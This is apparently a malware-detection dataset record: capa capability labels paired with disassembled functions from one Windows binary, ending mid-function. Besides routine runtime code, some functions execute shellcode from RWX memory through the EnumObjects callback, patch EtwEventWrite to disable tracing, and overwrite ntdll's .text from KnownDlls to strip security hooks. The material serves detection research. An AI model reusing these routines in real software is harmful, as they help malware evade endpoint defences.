joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002fbf
Capabilities:
Write file on windows

Disassembly:
push r12
sub rsp, 0x20
mov rax, qword [0x14005a200]
test rax, rax
je 0x140002fd3
call rax
mov ecx, 2
call qword [fcn.140021450]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov r12, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, r12
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop

Function at 0x140006d90
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
sub rsp, 0x38
movaps xmm0, xmmword [0x140027490]
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm0
call fcn.140006a63
nop
add rsp, 0x38
ret
push r12
push rsi
push rbx
sub rsp, 0x20
mov r9d, 0x40
mov r8d, 0x1000
mov rsi, rdx
mov r12, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, r12
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memmove
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
mov edx, 2
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumObjects]
nop
sub rsp, 0x28
call fcn.140002e70
nop
add rsp, 0x28
jmp 0x140006d6c
Function at 0x1400106d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140021450
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140021450
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140010740
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14005a2c4]
mov r12, rcx
test ebx, ebx
jle 0x140010870
mov rax, qword [0x14005a2c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14001078c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140010813
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140010770
mov rcx, r12
call fcn.1400110e0
mov rsi, rax
test rax, rax
je 0x140010892
mov rax, qword [0x14005a2c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140011210
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14005a2c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010877
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001080c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140010820
add dword [0x14005a2c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14005a2c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001080c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400106d0
nop dword [rax]
xor ebx, ebx
jmp 0x140010797
mov rax, qword [0x14005a2c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400106d0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400106d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140010d50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14005a320]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005a300]
test rbx, rbx
je 0x140010da4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140010d9b
test r12, r12
je 0x140010d9b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140010d80
lea rcx, [0x14005a320]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400110e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400539a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140011100
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140011108
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140011100
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140011155
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001114c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140011100
add rax, 0x28
cmp rax, r9
jne 0x140011138
xor eax, eax
ret

Function at 0x140011160
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400539a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140011180
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140011188
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140011180
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140011210
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400539a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140011230
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140011238
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1400113e0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140011400
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140011448
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400113f4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140011435
Function at 0x140011560
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x14005a430]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140011583
lea rax, [0x14005a438]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x15]
jmp 0x1400115cb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1400115c8
lea rax, [0x14005a460]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x14]
jmp 0x1400115fb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1400115f8
xor ecx, ecx
mov byte [0x14005a474], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x14005a47d], rdx
lea r8, [0x14005a430]
lea rbx, [0x14005a475]
mov qword [0x14005a48d], rdx
mov qword [0x14005a49d], rdx
mov qword [0x14005a4ad], rdx
xor edx, edx
mov qword [0x14005a475], rax
mov qword [0x14005a485], rax
mov qword [0x14005a495], rax
mov qword [0x14005a4a5], rax
mov byte [0x14005a4b5], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400117d6
lea rcx, [0x14005a460]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140011721
lea rsi, [0x14005a3a0]
lea r8, [0x14005a4b5]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x1400116cd
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x1400116c0
lea rcx, [0x14005a460]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x1400117c3
lea rcx, [0x140011470]
mov qword [0x14005a3a0], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x14005a3a0]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x56
lea rdx, [0x14005a460]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x14005a4b5]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x1400117f6
nop dword [rax]
cmp byte [rax], 0x41
jne 0x140011773
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x140011760
mov rax, rdx
mov qword [0x14005a3a0], rax
lea rsi, [0x14005a3a0]
jmp 0x140011799
cmp rdx, rsi
je 0x1400116ff
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140011790
cmp rdx, rsi
je 0x1400116ff
mov qword [rdx + 8], rsi
lea rcx, [0x140011470]
call sub.msvcrt.dll__onexit
jmp 0x1400116ff
lea rcx, [0x140053200]
call fcn.1400113e0
xor eax, eax
jmp 0x140011718
lea rcx, [0x1400531d8]
call fcn.1400113e0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, [0x140053228]
call fcn.1400113e0
xor eax, eax
jmp 0x14001177f
Function at 0x140013e80
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140053a50]
mov rax, qword [rsi]
test rax, rax
je 0x140013f10
cmp qword [rax + 0x30], 0
jne 0x140013f30
lea rbx, [0x140025468]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x140013ee0
cmp qword [rax + 0x30], 0
jne 0x140013f00
lea rdx, [0x140025468]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x140024300
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140018d80
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140013ec2
test rax, rax
jne 0x140013f00
call fcn.140018d80
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x140013ed0
call fcn.140018d80
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140013ea0
test rax, rax
jne 0x140013f30
call fcn.140018d80
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x140013eab
call sub.msvcrt.dll_abort
nop

Function at 0x140013f40
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x140014052
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x14001402a
add rax, 1
cmp rax, 0x6b
je 0x140014047
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x140014020
cmp edx, 0x6a
je 0x140014047
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x14001403b
Function at 0x140018c00
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140018c20
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140018c68
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140018c14
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140018c55
Function at 0x140018d80
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x14005a620]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140018da3
lea rax, [0x14005a628]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x140018deb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140018de8
lea rax, [0x14005a660]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x140018e1b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140018e18
xor ecx, ecx
mov byte [0x14005a679], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x14005a682], rdx
lea r8, [0x14005a620]
lea rbx, [0x14005a67a]
mov qword [0x14005a692], rdx
mov qword [0x14005a6a2], rdx
mov qword [0x14005a6b2], rdx
xor edx, edx
mov qword [0x14005a67a], rax
mov qword [0x14005a68a], rax
mov qword [0x14005a69a], rax
mov qword [0x14005a6aa], rax
mov byte [0x14005a6ba], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140018ff6
lea rcx, [0x14005a660]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140018f41
lea rsi, [0x14005a560]
lea r8, [0x14005a6ba]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x140018eed
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x140018ee0
lea rcx, [0x14005a660]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x140018fe3
lea rcx, [0x140018c90]
mov qword [0x14005a560], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x14005a560]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x14005a660]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x14005a6ba]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x140019016
nop dword [rax]
cmp byte [rax], 0x41
jne 0x140018f93
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x140018f80
mov rax, rdx
mov qword [0x14005a560], rax
lea rsi, [0x14005a560]
jmp 0x140018fb9
cmp rdx, rsi
je 0x140018f1f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140018fb0
cmp rdx, rsi
je 0x140018f1f
mov qword [rdx + 8], rsi
lea rcx, [0x140018c90]
call sub.msvcrt.dll__onexit
jmp 0x140018f1f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.140018c00
xor eax, eax
jmp 0x140018f38
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.140018c00
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.140018c00
xor eax, eax
jmp 0x140018f9f
Function at 0x140001929
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x18], 0
movabs rax, 0x746e657645777445
mov qword [rbp - 0x26], rax
movabs rax, 0x6574697257746e
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x2c], 0x6c64746e
mov word [rbp - 0x28], 0x6c
mov dword [rbp - 0x30], 0xc3c03348
lea rax, [rbp - 0x2c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x26]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140001a00
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.140001554
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp]
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0xf]
mov qword [rbp - 0x41], rax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001f290
mov eax, 0
jmp 0x140001b32
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140001a8d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rax
call fcn.14000169e
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x40], eax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001f1c0
mov eax, 0
jmp 0x140001b32
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp + 0x88]
mov dword [rax], edx
mov edx, dword [rbp - 0x18]
lea rcx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], 0
jne 0x140001b2d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.1400017d0
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x69]
mov rdx, qword [rbp + 0x71]
mov qword [rbp - 0x47], rax
mov qword [rbp - 0x3f], rdx
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001f430
mov eax, 0
jmp 0x140001b32
mov eax, 1
add rsp, 0x118
pop rbx
pop rbp
ret
Function at 0x140001ddf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov word [rbp + 0x50], 0x5c
mov word [rbp + 0x52], 0x4b
mov word [rbp + 0x54], 0x6e
mov word [rbp + 0x56], 0x6f
mov word [rbp + 0x58], 0x77
mov word [rbp + 0x5a], 0x6e
mov word [rbp + 0x5c], 0x44
mov word [rbp + 0x5e], 0x6c
mov word [rbp + 0x60], 0x6c
mov word [rbp + 0x62], 0x73
mov word [rbp + 0x64], 0x5c
mov word [rbp + 0x66], 0x6e
mov word [rbp + 0x68], 0x74
mov word [rbp + 0x6a], 0x64
mov word [rbp + 0x6c], 0x6c
mov word [rbp + 0x6e], 0x6c
mov word [rbp + 0x70], 0x2e
mov word [rbp + 0x72], 0x64
mov word [rbp + 0x74], 0x6c
mov word [rbp + 0x76], 0x6c
mov word [rbp + 0x78], 0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x38], 0x40
lea rax, [rbp + 0x80]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov r9, qword [0x140159040]
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x18]
mov r8, rdx
mov edx, 0xc
mov rcx, rax
call r9
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jns 0x140001f4e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x9f]
mov rcx, rax
call fcn.140001b3c
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.14001f360
mov eax, 0
jmp 0x140002041
mov qword [rbp + 0x10], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x100], 0
mov r10, qword [0x140159038]
mov rax, qword [rbp + 0x18]
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rdx, [rbp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov rdx, 0xffffffffffffffff
mov rcx, rax
call r10
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jns 0x14000203d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0xcf]
mov rcx, rax
call fcn.140001c8e
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xe8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.14001f360
mov eax, 0
jmp 0x140002041
mov rax, qword [rbp + 0x10]
add rsp, 0x198
pop rbx
pop rbp
ret
Function at 0x1400020fd
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140002183
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x41]
mov rcx, rax
call fcn.14000204c
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x60], eax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14001ee80
mov eax, 0
jmp 0x1400022a9
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x48], 0
mov word [rbp - 0x22], 0
nop
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 0x22], ax
jae 0x1400022a9
mov dword [rbp - 0x4e], 0x7865742e
mov word [rbp - 0x4a], 0x74
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x4e]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400022a2
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x28], 0
jne 0x140002227
mov eax, 0
jmp 0x1400022a9
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp - 0x48]
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
